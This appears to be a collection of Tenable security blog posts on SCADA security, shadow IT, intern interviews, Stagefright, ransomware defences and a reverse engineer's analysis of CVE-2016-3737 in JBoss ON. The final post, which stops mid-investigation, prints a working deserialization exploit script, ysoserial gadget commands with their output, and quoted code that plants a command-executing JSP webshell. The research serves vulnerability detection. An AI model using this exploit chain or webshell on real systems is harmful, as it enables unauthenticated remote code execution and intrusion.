Whether SCADA, Operational Technology (OT) or Industrial Control Systems (ICS), it’s important for organizations to find a way to maintain the accessibility of these technologies while complying with federal, state and local regulations - and defending their network data from cyberattacks.

Organizations with Supervisory Control and Data Acquisition (SCADA) systems are on thin ice. Without proper cybersecurity controls in place, these groups are vulnerable to attack, and vulnerable to compliance issues from strict regulatory requirements such as the North American Electric Reliability Corporation (NERC) Critical Infrastructure Protection (CIP) standards.

I never truly appreciated the differences between operational technology and the more ubiquitous IT until I worked in upstream oil and gas. In sectors like oil and gas, chemicals, pharmaceuticals and manufacturing, organizations build SCADA to rely predominantly on its accessibility and integrity of data. The reading from a pressure valve, for example, has to be easy for engineers to get to, and the number it displays must be accurate. Failure to do so can, at best, cost a company a lot of money. At worst, a failure can get people hurt or even cause serious harm to the environment.

Information technology is developed with different goals in mind than SCADA

The problem is that information technology is developed with different goals in mind than SCADA. With IT, confidentiality of the data is the center of focus. The data must be protected first, and then easily available as a secondary consideration. This seemingly innocuous difference between SCADA and IT can cause a gap that hackers can leverage to gain access to a network.

IT systems are updated and upgraded frequently in a rapidly-evolving environment. SCADA operates in a more static environment where accessibility and system integrity are paramount and even minor changes pose a risk to the integrity of the entire system. Therefore, SCADA, ICS and OT are often made up of electro-mechanical devices never intended to be networked with digital equipment. They can perform the same function for decades without change or failure.

Exacerbating the issue is that few IT security and management tools are designed to work with SCADA. Many companies resort to trying to get IT solutions to shoehorn into OT networks, but these approaches are normally unsuccessful - the two technologies are just too different. By trying to rig up an off-the-shelf technology such as a PC running Microsoft Windows with a run-of-the-mill anti-virus solution to monitor a piece of operational technology, organizations may also inadvertently void the license of either the OT or IT devices in that chain.

Few IT security and management tools are designed to work with SCADA

Often these fixes do little to nothing towards addressing NERC CIP regulations, which first and foremost require all networked OT assets to be identified and tracked. Many companies aren’t even aware of how many OT assets they have. This produces a huge time constraint and resource burden.

Top 3 tips to protect operational technology and corporate networks

There are several proven ways to protect operational technology and the corporate or IT networks that may be passively linked to them.

1. Identify all connections to SCADA networks and identify all systems and data that must be protected. This will generally include items broken down within the following categories:

Operating documents

• Operating conditions
• Plant drawings
• Process models
• Network drawings
• Failure history

Operating procedures

• Standard operating procedures
• Standard jobs procedures
• Maintenance procedures

Current state data

• Instrumentation ranges and settings
• Control logic
• Firewall configuration rules
• Distributed control system data
• Internet protocol addresses

2. Once detected, immediately disconnect all unnecessary connections to the OT network, and separate OT from IT networks and corporate networks.
3. Harden OT networks by removing or disabling unnecessary services.

SCADA security monitoring with data accessibility

Once these top three recommendations are completed, it’s essential that organizations implement solutions that are engineered and tailored for continuous network monitoring, including vulnerabilities, configuration weaknesses, data leakage, log management, and compromise detection to help ensure USGCB, FISMA, and PCI compliance.

It’s essential that organizations implement solutions that are engineered and tailored for continuous network monitoring

Tenable’s SecurityCenter Continuous View™ (SecurityCenter CV™) can audit, verify and protect SCADA and OT networks by providing a continuous network monitoring platform that brings information from around the network to a single management console.

SecurityCenter CV is a highly effective solution. It identifies vulnerabilities and threats by using data collected from five sensors: active scanning, intelligent connectors, agent scanning, passive listening, and host data. By examining all the available data, your organization can continually detect issues before they become breaches.

This makes auditing OT networks much easier. New devices can be quickly identified, and devices operating with unauthorized protocols or attempting unauthorized communications can be managed. SecurityCenter CV has the ability to automatically discover parts of an organization and identify them as an asset group. For example, an asset group could be a list of any devices that speak the SCADA DNP3 protocol. This group could then be used as an access control mechanism. Only certain users of SecurityCenter CV would have access to this asset list, and only they would be able to analyze, report or manage the vulnerabilities.

Organizations with OT and SCADA are on thin ice, but they don’t have to be

Organizations with OT and SCADA are on thin ice, but they don’t have to be. With proper cybersecurity controls in place, these groups can continue to provide valuable services to their customers without opening the doors to attackers.

For more information about SCADA and Tenable:

• SCADA Security solutions
• SCADA Network Security Monitoring whitepaper
• Tenable’s Continuous Network Monitoring and SCADA Environments blog

Shadow IT is widely recognized in the U.S. as a growing security concern, but does the same hold true in other countries? The short answer is yes. According to research from Tenable Network Security, more than half of IT decision makers in UK and German organisations acknowledge shadow IT as a major problem, and the majority of respondents (88%) feel shadow IT makes them more vulnerable to cyberattacks.

Shadow IT is a major problem

The report, State of Security Survey Results, conducted by Vanson Bourne on behalf of Tenable, surveyed 400 IT security decision makers in Germany and the UK across all sectors including healthcare, financial services, government and energy to better understand global trends in cybersecurity and the pain points associated with shadow IT.

Widespread use of shadow IT

Based on the survey results, 55% of UK respondents and 57% of German respondents report shadow IT has been introduced into their organisations’ environments. And 38% of UK respondents and 50% of German respondents expect the use of shadow IT in their organisations to increase in the next year.

Of the organisations currently affected by shadow IT, 65% of German IT decision makers report the use of unknown or shadow assets and applications has directly led to a cyberattack within the last 12 months, compared to 45% in the UK.

The most likely departments to deploy shadow IT are engineering, design/R&D and finance

Over half (56%) of respondents say that there are departments in their organisation that have started their own IT projects without the IT department’s support. The most likely departments to deploy shadow IT within German and UK organisations are engineering (30%), design/R&D (27%) and finance (25%).

Distrust from the IT department

Because the presence of unknown or undiscovered assets makes it difficult for security teams to identify and manage the available attack surface, there has been growing distrust from the IT department.

In fact, respondents believe that products and services such as devices for employees to use for work purposes (BYOD) (48%), IT security software/hardware (45%), and servers/other infrastructure hardware (42%) pose a significant security risk to their organisation when used or purchased without the support of the IT department.

Although many IT decision makers are feeling the pains of shadow IT in their organisations, the answer isn’t to restrict access.

One of the biggest reasons people turn to Dropbox for file sharing, Gmail for email or AWS for infrastructure without working with IT is because these services enable them to do their jobs more efficiently and effectively. Blocking certain cloud applications or shadow assets may help eliminate the technology problem, but it won’t solve the business problem.

Embracing the technology

Instead of placing a black mark on shadow IT, security departments should embrace the fact that employees will continue to use these popular services, and implement a security program that enables IT and the business to focus on the overarching goals and encourage innovation.

Good security starts with great visibility. Before any control is put in place, the issues have to be quantified and the risks identified. Tenable gives the IT security team the visibility needed to identify weaknesses on the network and adopt the best approach, whether it be developing a more robust security policy, offering user education or implementing additional controls that lessen the probability of a cyberthreat.

Good security starts with great visibility

For more information on how Tenable provides organisations with the continuous visibility and critical context necessary to effectively protect the network and secure their assets, check out the Unknown and Shadow Assets solution story.

Thanks to Nicole Cieslak for her assistance with this blog.

Tenable’s 2016 Internship Program hosted 26 interns in 8 departments for 9 weeks. Interns gained hands-on professional experience, networking opportunities, and valuable mentoring relationships. Tenable also treated our interns to several lunch-and-learns, a bowling outing, a Star Trek movie night, and an Oriole’s game.

Elizabeth and Maddie joined Tenable as Market Research Interns on our Strategy team. Elizabeth is a rising senior, majoring in Marketing with an Information Systems minor at Loyola University. Maddie is also a rising senior, majoring in Economics at Johns Hopkins University.

Elizabeth and Maddie sat down with us at the end of the program to discuss their intern experiences and achievements.

Tenable: Why did you choose to intern at Tenable?

Elizabeth: The main attraction for me was that the position was an internship in market research, and there were very few companies offering similar internship positions. However, the more I started looking into Tenable, I thought that the security industry was very interesting and could be a good field to explore. As an information systems minor, the industry appealed to me because I could apply what I had learned in those classes. Once I started interviewing for the position, everyone I met had great things to say about Tenable, which made me more excited about a potential internship.

Maddie: I chose to work at Tenable for many reasons. First, the growing and expanding market of cybersecurity is extremely exciting and I thought this would be an awesome experience to learn more about that. Also, during my interview process, everyone I talked to had positive things to say about Tenable, which made my decision even easier. Furthermore, the headquarters location in Columbia, MD worked perfectly for me, so it helped seal the deal.

Tenable: What was your favorite project you worked on this summer?

Elizabeth: I enjoyed all my projects, but my favorite was the Future Sales Growth Indicators project I worked on with Maddie for the last month. This project was very cool because it was something Maddie and I had the idea for, based on different things we were each doing at Tenable or had done in school. When we told our supervisors about the idea, they were excited about it as well. It was very motivating, not only to work on this project we designed and watch the results progress, but also to feel that this project we developed as interns is something that can make a contribution to Tenable’s future.

Maddie: My favorite project I worked on this summer was also the Future Sales Growth Indicators project. Elizabeth and I worked collaboratively on the project. Our goal was to determine which indicators from various countries have a correlation with sales data, to help identify countries that have a high potential for future sales growth. The project was really exciting to work on.

Tenable: What did you like about Tenable’s company culture?

Elizabeth: So many things! Everyone was so welcoming and supportive of the interns, and taking us seriously as fellow employees. The freedom to pursue projects we were interested in was something I never expected in an internship. Another thing I really appreciated was the flexibility in hours. If there was a day I had to work from home because I didn’t feel good, or if I needed to take an hour off for an appointment, they were very understanding as long as I completed the appropriate number of hours for the pay period.

Maddie: The culture at Tenable is awesome. All of the people I met were very friendly, willing to help, and excited about their work. There was a lot of support for new ideas and new ways of thinking, which is really cool. People work together and collaborate on projects which I think is very beneficial. Moreover, there is a real balance at Tenable and everyone really seems to love what they do and enjoy working, which I think is an extremely attractive attitude of employees at any company.

Tenable: What lessons and experiences did you get out of this internship?

Elizabeth: There several lessons I learned throughout the course of the internship, between the intern activities and the projects I worked on. The lunch-and-learn sessions with different departments gave me more insight into what other people - both on the business and technical sides - do on a daily basis for Tenable. I also learned about other departments on a more basic level just from speaking with the other interns about their experiences. From the projects I worked on, I gained a lot of great experience in competitive intelligence and market evaluation, and learned what I like about each type of project to consider as I look for a career. Those projects also taught me some more general lessons as well, including: when working with large amounts of data, attention to detail and organization are essential; focusing on the end result of more in-depth or research projects can make the process to reach the result seem longer – it takes time and patience to reach the exciting end result; and sometimes with projects making estimates, things will never be perfect, but you always have to look for how it helps and what ways it could possibly be built upon to be made even better.

Maddie: I’ve learned a lot. I’ve learned that in a market research role, not everything is set out for you; rather, you get the freedom to explore and research what interests you, which I really liked. I also learned that when given the opportunity to collaborate with other people, the outcome is much greater than when working alone. For example, for the Future Sales Growth Indicator Project, working together with Elizabeth enabled us to bounce ideas off each other, try different approaches, assure one another of outcomes, and motivate each other. I also learned that processes involving substantial amounts of data require attention to detail and can be difficult to organize at times. I also learned that patience, when completing quantitative projects such as the one I was working on, is essential. While it can be easy to focus and think about the end result of the project, it can take a lot of time, hard work and patience to get there.

Looking for a rewarding career? Check out all of the Tenable openings.

This year, Tenable’s 2016 Internship Program hosted 26 interns in 8 departments for 9 weeks. During this program, interns gained hands-on professional experience, networking opportunities, and valuable mentoring relationships. In addition, Tenable treated our interns to lunch-and-learns, bowling, Star Trek movie night, and an Oriole’s game.

Ethan joined Tenable as a Security Research Intern on our SecurityCenter™ team. He is a rising senior, majoring in Computer Engineering at University of Maryland.

Ethan sat down with us at the end of the program to discuss his intern experience and achievements.

Tenable: Why did you choose to intern at Tenable?

Ethan: Last summer, I was exposed to the field of security for the first time through an internship at a software engineering company in Virginia. I really enjoyed the work I did and what I was learning about the security field, but I soon realized that security was not the company’s main priority. I wanted to come to a company that was well known in the security field and I had heard about Tenable (and of course Nessus®) during my internship and proceeded to do more research on the company. The more I learned about Tenable’s accomplishments and its culture, I knew that Tenable was where I needed to be next. I was fortunate enough to meet with representatives of the company at my University’s career fair, and the rest is history.

Tenable: What was your favorite project you worked on this summer?

Ethan: I had the pleasure of working with the SecurityCenter Research team this summer. I was given the task of setting up an account in the team's SecurityCenter environment to gather data on the entire Tenable Lab. I really enjoyed working on this project as it enabled me to get familiar with SecurityCenter’s finer details and take advantage of all of its sophisticated tools. I also got the chance to interact with the SecurityCenter API through various scripts I wrote to assist me in my tasks.

Tenable: What did you like about Tenable’s company culture?

Ethan: The moment I received an invitation to go to a company sponsored hackathon in Florida, I knew this was the kind of culture I wanted at my workplace. My opinion was further validated after I went on the Space Mountain roller coaster with Ron Gula at Disney World. The idea that I, a lowly intern, was invited to such an event and was able to interact with C-level people at the company was astounding. I never imagined that I would experience such a culture at any company I would work at. The close connections between coworkers, regardless of their position in the company hierarchy, truly made me feel comfortable working at Tenable.

Tenable: What lessons and experiences did you get out of this internship?

Ethan: My manager, Cody Dumont, always did a daily review with me at the end of the workday. In those reviews, he would grill me on the smallest technical details that were crucial to understanding how a computer network works and how to protect one. It made me realize that as much as I thought I knew – as much as I had learned in school – there was still so much I had yet to learn. And every time I received a task that left me stumped, the rest of my teammates were there to help me overcome any of the obstacles I faced. While going about my work at Tenable, conducting these reviews with Cody, and consulting with my teammates, I learned more than I ever imagined I would in such a short period of time. The fact that my manager and teammates all took time out of their day to mentor and assist me is something I cannot thank them enough for.

Looking for a rewarding career? Check out all of the Tenable openings.

Season 2, Episode 8 of Mr. Robot opens up with a mischievous social engineering hack by Trenton launching an exploit on Mobley’s Android device. Trenton uses the Stagefright Android exploit, by tricking Mobley into thinking the site is a benchmark test for his Android. The touchless user interaction Stagefright Android exploit is a real threat to organizations, and should not be taken lightly. Mobile device vulnerabilities are a growing threat to organizations today; Tenable provides several solutions to monitor and analyze these threats.

The episode starts with Mobley and Trenton in Ron’s coffee shop. Once they get their coffee and sit down, Trenton asks Mobley what kind of phone he uses. A friendly debate of Android vs. iPhone ensues that culminates with Trenton asking Mobley to visit a website she provides him to see how fast his phone can download a file. These types of tests are common to test the bandwidth capability of a phone to determine how fast a phone can connect to networks. Mobley visits the website and begins to download a malicious MP4 media file that was encoded with a Stagefright exploit. Trenton observes on her computer that the exploit payload was delivered and begins to take over Mobley’s phone. Darlene shows up and explains to Mobley how he was socially engineered with a very specific spear phishing attack to visit a malicious website owned by Trenton. Darlene explains to Mobley that the MP4 file he downloaded was malicious and how he should not trust people as readily as he did in order to prevent social engineering tricks. While Trenton’s “pwning” Mobley’s phone with the Stagefright exploit may be prankster in nature, the exploitation of Android phones with Stagefright is a real-world issue.

When Zimperium announced the Stagefright bug, they determined that roughly 1 billion Android devices were vulnerable to this bug. Stagefright is a collection of vulnerabilities around a system library, libstagefright, in the Android operating system. As demonstrated in this episode and in a real-world scenario by Zimperium, we can see how easily susceptible Android devices are to vulnerabilities within the libstagefright library. Many organizations adopt Android devices as part of BYOD strategies, enabling attackers to use this exploit to their advantage. Attackers could research people in an organization, determine if an Android device is used (such as analyzing email headers to determine if an Android device was used to reply to an email), and send a malicious payload to the device over MMS or a link to a malicious MP4 file. Depending on the security boundaries with Android devices within a corporate network, a compromised Android device could potentially be used as a pivot device to access the corporate network.

Google addressed the vulnerabilities with software updates to fix the vulnerability, but due to the many versions of Android out there, this left many devices still at risk to exploitation. Organizations with Tenable SecurityCenter Continuous View™ (SecurityCenter CV™) can benefit from monitoring the environment for vulnerable Android devices. The dashboard, Android Devices and Vulnerabilities, can assist analysts with the inspection of the network for Android devices. Analysts are able to not only see Android devices in the organization, but vulnerabilities associated with all Android devices over time and individual detail.

In the real world, attacker controlled websites that are serving malicious payloads can be detected with SecurityCenter CV. SecurityCenter CV has the capability to determine if user directed traffic is sending or receiving data to malicious websites. The threats presented on websites are categorized using the advanced correlation features of the Log Correlation Engine™ (LCE®) in SecurityCenter CV. Analysts can use the Threatlist Activity dashboard to monitor logs collected by LCE agents. The LCE agent monitors system logs and other activities to determine if users are communicating with attacker controlled websites. The advanced correlations use many different log sources such as NetFlow, firewall logs, and other log sources in conjunction with system logs from this host to identify the malicious activity.

SecurityCenter CV is a fully featured vulnerability management system that has the ability to identify risks to mobile devices and relate the threats to the corporate infrastructure. By integrating Mobile Device Management (MDM) solutions, dynamically correlating log events, and then alerting incident responders when malicious attacks are occurring, SecurityCenter CV can provide the CISO with much needed piece of mind, knowing vulnerability and threat analysis is an ongoing activity and is not limited to monthly scanning.

Ransomware has become such a major threat due to its many variations and its drastic impact in restricting access to systems and data, therefore making day to day business unavailable and shutting down access to critical systems.

Existing perimeter solutions today have failed to detect and prevent ransomware from infecting and spreading within organizations’ networks. Ransomware creates mass operational disruption, and signature based anti-virus is unable to prevent and detect ransomware due to the unique and quickly growing variants.

Signature based anti-virus is unable to prevent and detect ransomware

The US CERT and DHHS Threat Alert explains the nature of the threat very well and outlines several solutions available.

Recommendations

US-CERT recommends that users and administrators take the following preventive measures to protect their computer networks from ransomware infection:

• Employ a data backup and recovery plan for all critical information. Perform and test regular backups to limit the impact of data or system loss and to expedite the recovery process. Ideally, this data should be kept on a separate device, and backups should be stored offline.
• Use application whitelisting to help prevent malicious software and unapproved programs from running. Application whitelisting is one of the best security strategies as it allows only specified programs to run, while blocking all others, including malicious software.
• Keep your operating system and software up-to-date with the latest patches. Vulnerable applications and operating systems are the targets of most attacks. Ensuring these are patched with the latest updates and a sound vulnerability management program greatly reduces the number of exploitable entry points available to an attacker.
• Maintain up-to-date anti-virus software, and scan all software downloaded from the Internet prior to executing.
• Restrict users’ ability (permissions) to install and run unwanted software applications, and apply the principle of “least privilege” to all systems and services. Restricting these privileges may prevent malware from running or limit its capability to spread through the network.
• Avoid enabling macros from email attachments. If a user opens an attachment and enables macros, embedded code will execute the malware on the machine. For enterprises or organizations, it may be best to block email messages with attachments from suspicious sources. For information on safely handling email attachments, see Recognizing and Avoiding Email Scams. Follow safe practices when browsing the web; see Good Security Habits and Safeguarding Your Data for additional details.
• Do not follow unsolicited web links in emails. Refer to the US-CERT Security Tip on Avoiding Social Engineering and Phishing Attacks for more information.

Organizations can implement security controls that prevent untrusted or unknown applications or tools from simply being installed onto the system, but allowing the end user to continue to be productive by using application whitelisting, blacklisting, dynamic listing, real-time privilege elevation, and application reputation and intelligence.

The only method to get the data back is to rebuild or restore from a backup

Users often have the ability to install and execute applications as they wish — no matter where or how they obtained the installation executable. This poses a major risk allowing ransomware or malware to infect and propagate into the organization. It can also allow attackers to install remote access tools, enabling them to easily return whenever they wish. If a user with a privileged account is simply reading emails, opening documents, browsing the Internet and clicking on numerous links, or plugging in a USB device, they can be installing malicious software. These tools can provide attackers with access and begin their attack. Or, in a worst case scenario, they can encrypt the system and sensitive data, requesting a financial payment in return to unlock them. And unless the ransom is paid within a very short period of time (typically 72 hours) the tool will destroy the key to unlock the data, making the data inaccessible forever. The only method to get the data back is to rebuild or restore from a backup if available and accurate.

Least privilege

Least privilege allows users to safely perform their duties. In the event of an accidental clicking of a link or opening an attachment and attempting to execute an application which requires elevated privileges (for example, encrypting a hard drive, network share or folder), the user privileges do not allow those actions to be performed, stopping the attack immediately. This can then be validated by application whitelisting, which checks if the application or source of the application is coming from a trusted source; if it is unknown, then further execution of the application can be prevented until the source or application is determined if it has disruptive behavior. 

Real-time elevation

Real-time elevation is the ability to check if the application, environment or context of the user is safe to elevate the privileges of the application. This occurs by checking various parameters including application reputation, user’s current privilege context and whether the system itself meets certain security controls. If these policies are not met, intervention of a security analyst can then be requested to make a decision on whether it is safe to continue allowing this application to elevate.

Privileged account management

Privileged account management is an effective way to prevent the spread of ransomware throughout the environment and especially to critical systems. This ensures that when ransomware infects a system that it is unable to use the credentials exposed on that system to laterally move around to other systems on the network.

About Thycotic

Thycotic provides enterprise password management to over 7,500 customers worldwide. We partnered with Tenable to provide customers secure storage of privileged credentials and the ability to easily perform credentialed scans with Nessus® Cloud and Nessus Manager. Learn more about the partnership in the Integration Spotlight: Enhanced Security with Credentialed Vulnerability Assessments with Tenable blog post and on the Tenable/Thycotic partner page.

About the author

Joseph Carson, EMEA Product Marketing and Global Strategic Alliances for Thycotic, is an expert in Windows endpoint security. Joseph has 20+ years’ experience in enterprise security and infrastructure and is a Certified Information Systems Security Professional (CISSP). An active member of the cybersecurity community and a frequent speaker at cybersecurity events globally, Joseph is also an adviser to several governments and cybersecurity conferences.

Read the original article on Thycotic.

As a Reverse Engineer at Tenable, I investigate disclosed vulnerabilities in order to write remote plugins for the Nessus® vulnerability scanner. Each investigation is unique and presents its own set of challenges. In some cases, new vulnerabilities are uncovered. One such investigation happened earlier this year when I was analyzing CVE-2016-3737 in Red Hat JBoss Operations Network (JON).

When I began looking into CVE-2016-3737, the entry in the National Vulnerability Database was empty but there was a Red Hat security advisory that read:

It was discovered that sending specially crafted HTTP request to the JON server would allow deserialization of that message without authentication. An attacker could use this flaw to cause remote code execution.

I looked up the most recent patch for JON (at the time this was Upgrade 5) and I found this information in the release notes:

The following security issues are also fixed with this release:

It was found that the Apache commons-collections library permitted code execution when deserializing objects involving a specially constructed chain of classes. A remote attacker could use this flaw to execute arbitrary code with the permissions of the application using the commons-collections library. (CVE-2015-7501)

It appeared that JON had been patched for using libraries that are known to be exploitable during Java object deserialization. Furthermore, CVE-2016-3737 seems to indicate that there is a path through the JON server for a remote unauthenticated attacker to trigger deserialization. I decided that this seemed worthy of further investigation and, possibly, a remote detection plugin.

Vulnerability investigation

After installing an unpatched version of JON (3.3.0), my first task was to find where deserialization of user-provided data occurred. This can sometimes be a bit time consuming since the investigator has to track down all ingress points and figure out where an attacker can control the input. However, in this case it took almost no time at all. I was sniffing local traffic when I noticed these HTTP requests in the background:

You can see from the screenshot an HTTP POST request to port 7080 (which is the same port as the JON web interface) to the URL /jboss-remoting-servlet-invoker/ServerInvokerServlet. Most importantly, after the HTTP header, I’ve highlighted two bytes: 0xaced. These are the magic bytes at the beginning of a Java object stream. This is probably the unauthenticated input point that CVE-2016-373 refers to.

To be sure, I put together a little Python script to POST some data to the server:

import socket
import sys

if len(sys.argv) != 3:
    print 'Usage: ./on.py <host> <port>'
    sys.exit(0)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

payload = 'test'

req = ('POST /jboss-remoting-servlet-invoker/ServerInvokerServlet/?generalizeSocketException=true HTTP/1.1\r\n' +
       'Content-Type: application/octet-stream\r\n' +
       'JBoss-Remoting-Version: 22\r\n' +
       'User-Agent: JBossRemoting - 2.5.4.SP5 (Flounder)\r\n' +
       'remotingContentType: remotingContentTypeNonString\r\n' +
       'Host: ubuntu:7080\r\n' +
       'Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n' +
       'Connection: keep-alive\r\n' +
       'Content-Length: ' + str(len(payload)) + '\r\n\r\n')
req += payload
sock.sendall(req)

data = sock.recv(4096)
print data

sock.close()

In the script, you can see that we aren’t sending a Java object stream. Instead we are just sending the string “test” after the HTTP header. My goal here is to trigger a corrupted stream exception. Executing the script yields this result:

albino-lobster@ubuntu:~$ python on.py 127.0.0.1 7080
connecting to 127.0.0.1 port 7080
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Content-Length: 4203
Date: Wed, 10 Aug 2016 15:05:51 GMT
Connection: close<html><head><title>JBoss Web/7.5.10.Final-redhat-1 - JBWEB000064: Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>JBWEB000065: HTTP Status 500 - invalid stream header: 74657374</h1><HR size="1" noshade="noshade"><p><b>JBWEB000309: type</b> JBWEB000066: Exception report</p><p><b>JBWEB000068: message</b> <u>invalid stream header: 74657374</u></p><p><b>JBWEB000069: description</b> <u>JBWEB000145: The server encountered an internal error that prevented it from fulfilling this request.</u></p><p><b>JBWEB000070: exception</b> <pre>java.io.StreamCorruptedException: invalid stream header: 74657374
	java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:808)
	java.io.ObjectInputStream.<init>(ObjectInputStream.java:301)
	org.jboss.remoting.loading.ObjectInputStreamWithClassLoader.<init>(ObjectInputStreamWithClassLoader.java:100)
	org.jboss.remoting.serialization.impl.java.JavaSerializationManager.createInput(JavaSerializationManager.java:54)
	org.jboss.remoting.marshal.serializable.SerializableUnMarshaller.getMarshallingStream(SerializableUnMarshaller.java:75)
	org.jboss.remoting.marshal.serializable.SerializableUnMarshaller.read(SerializableUnMarshaller.java:122)
	org.jboss.remoting.marshal.http.HTTPUnMarshaller.read(HTTPUnMarshaller.java:71)
	org.jboss.remoting.transport.servlet.ServletServerInvoker.processRequest(ServletServerInvoker.java:367)
 

This response is exactly what I hoped for! We learn two useful things:

1. As hoped, the exception java.io.StreamCorruptedException: invalid stream header: 74657374 appears. This confirms that the payload is expected to be a Java object stream.
2. Since we received a stack trace we can actually find the JAR where ServletServerInvoker is implemented. A little grepping from the JON installation directory uncovers that ServletServerInvoker is implemented in jboss-remoting-2.5.4.SP5.jar.

Next, since we have the unpatched version of JON installed, it makes sense to attempt a deserialization attack. ysoserial makes this quite easy. Below are the commands required to download, build, and generate a CommonsCollection5 gadget that will touch the file /tmp/danger_zone:

$ git clone https://github.com/frohoff/ysoserial.git
$ cd ysoserial/
$ mvn install -DskipTests
$ cd target/
$ java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'touch /tmp/danger_zone' > gadget.bin

We can then use the contents of gadget.bin as the payload in our Python script (instead of “test”). After the Python script is executed, we should be able to see the new or updated file in /tmp/:

albino-lobster@ubuntu:~$ ls -l /tmp/danger_zone 
-rw-rw-r-- 1 albino-lobster albino-lobster 0 Aug 10 08:35 /tmp/danger_zone

So far we have:

1. Found a point in the web interface that leads to deserialization of untrusted data (CVE-2016-3737).
2. Verified that unpatched JON has an exploitable version of Commons Collections on the classpath (CVE-2015-7501).

However, before a remote plugin can be written, we need to verify that Upgrade 5 actually prevents the deserialization attack. Rerunning our Python script against a patched version of JON yields:

connecting to 127.0.0.1 port 7080
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Content-Length: 7178
Date: Wed, 10 Aug 2016 15:24:07 GMT
Connection: close<html><head><title>JBoss Web/7.5.10.Final-redhat-1 - JBWEB000064: Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>JBWEB000065: HTTP Status 500 - Deserialization of InvokerTransformer is not permitted, see BZ 1279330</h1><HR size="1" noshade="noshade"><p><b>JBWEB000309: type</b> JBWEB000066: Exception report</p><p><b>JBWEB000068: message</b> <u>Deserialization of InvokerTransformer is not permitted, see BZ 1279330</u></p><p><b>JBWEB000069: description</b> <u>JBWEB000145: The server encountered an internal error that prevented it from fulfilling this request.</u></p><p><b>JBWEB000070: exception</b> <pre>java.lang.UnsupportedOperationException: Deserialization of InvokerTransformer is not permitted, see BZ 1279330
	org.apache.commons.collections.functors.InvokerTransformer.readObject(InvokerTransformer.java:141)
	sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	java.lang.reflect.Method.invoke(Method.java:498)
	java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)

You can see from the server’s response that Deserialization of InvokerTransformer is not permitted. This confirms that the patched JON is using a version of Commons Collections that is no longer exploitable during deserialization. We now have all the information we need to write a new remote plugin check!

However, having looked at a large number of these serialization vulnerabilities I can say with some authority that simply updating Commons Collections is not a recipe for success. There is a non-zero chance that there is another library waiting to be misused by an attacker. I decided to poke around a bit more.

Jython

In March of 2016, Alvaro Munoz and Christian Schneider contributed a new gadget to ysoserial called Jython1. This gadget abuses classes found in the Jython project. ysoserial uses jython-standalone-2.5.2.jar by default, but the latest version (2.7.0) is also usable.

The original version of Jython1 wrote a “webshell” (a JavaServer page that executed user-provided shell commands) to a location specified by the attacker. The webshell is written to disk on the remote target using Python bytecode that is executed upon deserialization. The relevant code from the original Jython1:

// Set payload parameters
String webshell= "<%@ page import=\"java.util.*,java.io.*\"%>\n" +
    "<html><body><form method=\"GET\" name=\"myform\" action=\"\">\n" +
    "<input type=\"text\" name=\"cmd\">\n" +
    "<input type=\"submit\" value=\"Send\">\n" +
    "</form>\n" +
    "<pre>\n" +
    "<%\n" +
    "if (request.getParameter(\"cmd\") != null) {\n" +
            "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<br>\");\n" +
            "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n" +
            "OutputStream os = p.getOutputStream();\n" + 
            "InputStream in = p.getInputStream();\n" +
            "DataInputStream dis = new DataInputStream(in);\n" +
            "String disr = dis.readLine();\n" +
            "while ( disr != null ) {\n" +
                    "out.println(disr);\n" +
                    "disr = dis.readLine();\n" + 
            "}\n" +
    "}\n" +
    "%>\n" +
    "</pre></body></html>";

// Python bytecode to write a file on disk
String code =
    "740000" + // 0 LOAD_GLOBAL              0 (open)
    "640100" + // 3 LOAD_CONST               1 (<PATH>)
    "640200" + // 6 LOAD_CONST               2 ('w')
    "830200" + // 9 CALL_FUNCTION            2
    "690100" + // 12 LOAD_ATTR               1 (write)  ??
    "640300" + // 15 LOAD_CONST              3 (<webshell>)
    "830100" + // 18 CALL_FUNCTION           1
    "01"     + // 21 POP_TOP
    "640000" + // 22 LOAD_CONST
    "53";      // 25 RETURN_VALUE

// Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w"), new PyString(webshell)};
String[] names = new String[]{"open", "write"};

// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{}, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());

It isn’t immediately obvious, but JON does have Jython on its classpath. For some reason, it has been repackaged into rhq-scripting-python-4.12.0.JON330GA.jar. However, we can peek into the JAR and verify that Jython exists. The following screenshot shows the Jython version information via JD-GUI:

